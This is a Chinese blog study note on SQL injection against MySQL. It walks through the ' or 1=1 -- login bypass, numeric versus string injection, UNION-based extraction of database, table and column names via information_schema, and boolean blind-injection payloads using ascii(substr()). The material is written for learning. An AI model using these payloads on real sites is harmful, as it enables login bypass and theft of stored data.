zoukankan      html  css  js  c++  java
  • SQL 注入漏洞浅研究学习

    SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题。


    网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞;

    ' or 1=1 --

    上述的万能密码输入在用户登录框中 ,如果把他和SQL语句拼接,就可以发现奥秘:

    String sql = "Select count(*) from admin where username = ' 'or 1=1 -- ' and password = '********'

    上述SQL语句则是我们输入万能密码后,服务器后台拼接的SQL语句;仔细观察语句,发现 ‘ or 1=1 -- 的作用就是将前面的语句闭合为空,然后or判断1=1,最用 -- 将其后的语句注释掉。由此 ‘or 1=1 -- 就可以完全的绕过SQL中的查询验证。

    SQL漏洞的分类:

    1、数字型注入漏洞:

      当输入的参数为整型时,则可以认为是数字型注入;(需要注意的是,数字型注入不需要单引号闭合哦)设定如下SQL语句环境:

    select * from table where id=8 ;

    id=8是测试的输入;如果报错则不是整型输入,若不报错则认为是整型输入;

    select * from table where id=8 and 1=1
    select * from table where id=8 and 1=2

    如上,第一条SQL输入若返回结果和原结果无差别,第二条返回的结果可以执行但没有结果,——则可以认为该处存在数字型注入点;

    2、字符型注入漏洞:

      当输入的参数为字符串时,(字符型输入需要单引号闭合哦)

    字符型和数字型例句比较:

    数字型:
        select * from table where id=8 ;
    字符型:
        select * from table where username='admin'

    字符型注入最重要的就是要闭合SQL语句和注释掉多余的SQL语句;原因解释:

    在SQL语句中,字符串会被单引号给转义化,在SQL拼接我们的输入的数据的时候,
    会用单引号将我们的输入内容给单引号转义化,整个输入内容都会被认为是需要查询的内容串,
    由此我们需要用单引号闭合SQL拼接的单引号,而后在 -- 注释掉后面的内容(单引号)让我们的注入语句可以不被SQL拼接而导致转义化。
    select * from username = ' ** '

    上述为还未拼接的SQL语句,在查询处首先用单引号包含,目的就是将用户输入的内容以字符的内容形式查询;

    select * from username = ' ' or 1=1 -- ' '

    上例SQL语句则是拼接后的语句,可以观察出,’ 与之前的单引号成对,将两个单引号之间的内容闭合了,其后 or 1=1 则可以形成一个单独的非字符串的SQL功能语句, -- 注释语句可以将后面更多的碍事的SQL语句给注释掉。

    ## 字符型SQL注入,必须闭合单引号并注释多余的SQL语句。

    ——————————
    https://mp.weixin.qq.com/s/vIHbtpi6eiv4ZoZ9ztyjsA

    常见的mysql数据库注入姿势:(引用上方链接内容)

    功能  |    查询语句

    查库  | select schema_name from information_schema.schemata              |  查当前数据库中所有库名

    查表  |   select table_name from information_schema.tables where table_schema = ‘库名’    | 查库中的所有表名

    查列  |  select column_name from information_schema.columns where table_name = ‘表名’  |  查表中的所有列名

    查数据    | select 列名  from 库名.表名                              |

    mySQL内置库—— information_schema:

      其中保存有MYSQL所维护的所有数据库信息,包括库名、表名、表列、权限……等信息

    Mysql内置库—— performance_schema:

      用于收集数据库服务器的性能参数

    mysql内置库——mysql:

      保留mysql的账户信息、权限、存储过程、event、时区等配置信息

    mysql内置库——sys:

      百度哦~~~~

    数据库的注入一般分步骤的:

    第一步:判断注入点

      我们需要判断数字型还是字符型注入类型,主要依靠or或and条件语句是否被处理(单引号闭合和语句注释非常重要)

    第二部:猜解字段数

      我们需要猜出我们查询语句中的字段数;

    1 ' order by 1 --     //正常
    1 ' order by 2 --     //正常   
    1 ' order by 3 --     //报错    

    根据上例的SQL语句可以得出,我们查询语句中只有2个字段;

    第三步:确定显示的字段

      利用 union 联合查询(回显注入) ;

    第四步:获取当前数据库的库名

    1 ' union select 1,database() --

    第五步:获取数据库中的表

    **  ' union select 1,table_name from information_schema.tables where table_schema = '库名'

    第六步:获取字段名

    ** ' union select 1,column_name from information_schema.columns where table_name = '表名'

    第七步:查询需求数据

    ——————————————————————

    SQL盲注:

    1、判断注入点

    2、猜解当前库名

      盲注不可以利用回显注入的方式直接获得数据,但是我们可以一一猜解,猜解条件就是利用前面的真假条件:

    1 ' and true #  结果为真
    1 ' and false # 结果为假

    3、获得库名长度

      盲注中获取字符串长度 length(str);由此猜解数据库名的长度。

    输入 1 ' and length(database())>1 --    [结果为真表示长度大于1]
    输入 1 ' and length(database())>10 --  [结果为假表示长度小于10]

      left(str,n)  【从左侧开始截取字符串str的前n位】

    substr(expression,start,length)

    获取字符串  (原始字符串 字符串开始的位置 字串长度)

      ASCII(a) 【将某个字符转换为ASCII值】

      mid() 函数 与 substr函数功能类似

      ord()函数 与  ASCII函数功能类似

      regexp {(select user())regexp '^r}  正则用法

    常用 POC
    
    and left(select(database()),1) = 'a' -- +
    and (select database()) regexp '^r'
    and (select database()) like 'r%'
    and ord(mid((select database())1,1))>97
    and ascii(substr((select database()),1,1))>97 [常用]

    输入:

    1'and ascii(substr((select database()),1,1))>97

    正常返回,则表示数据库的第一个字符的ascii值大于97 ;#依次采用逐步猜解的方法就可以逐步的推断出库名了

    4、猜解库中的表数量

    and (select count(table_name) from information_schema.tables where table_schema=库名) = 数量

    当上条SQL语句显示存在时,则当前的数量就是库中表的数量。

    5、猜解表名

      第一步:猜解出表名的长度

    and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=长度量  【猜解表名长度】

      按照上面的SQL猜解出表名的长度。

      第二步:猜解表名

    and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>ascii数

      按照上述的SQL推倒,可以逐步推演出表名。

    6、猜解字段名

    and (select count(column_name) from information_schema.columns where table_name = 表名) = 字段的数量
    and length(select column_name from information_schema.columns where table_name = 表名 limit 0,1)=字段名长度


     

    双注入查询需要理解四个函数/语句
    1. Rand() //随机函数 返回0-1之间的随机数
    2. Floor() //取整函数
    3. Count() //汇总函数
    4. Group by //分组语句

     


     SQL注入衔接学习:https://mp.weixin.qq.com/s/NKO5RbYUerhxlZtmPjxDSQ

    ……………………

  • 相关阅读:
    树莓派交叉编译环境搭建
    手机购买怎样识别假货——一点心得体会分享!
    Ubuntu 网站服务器环境搭建
    转载:Raspberry Pi 树莓派入门
    Python中的条件选择和循环语句
    关于VMare中安装Ubuntu的一些说明
    如何去掉系统快捷方式的箭头和更改登录界面背景图片
    重装系统后,硬盘分区丢失的解决办法
    Python中的字符串
    Python的基础语法
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/10930165.html
Copyright © 2011-2022 走看看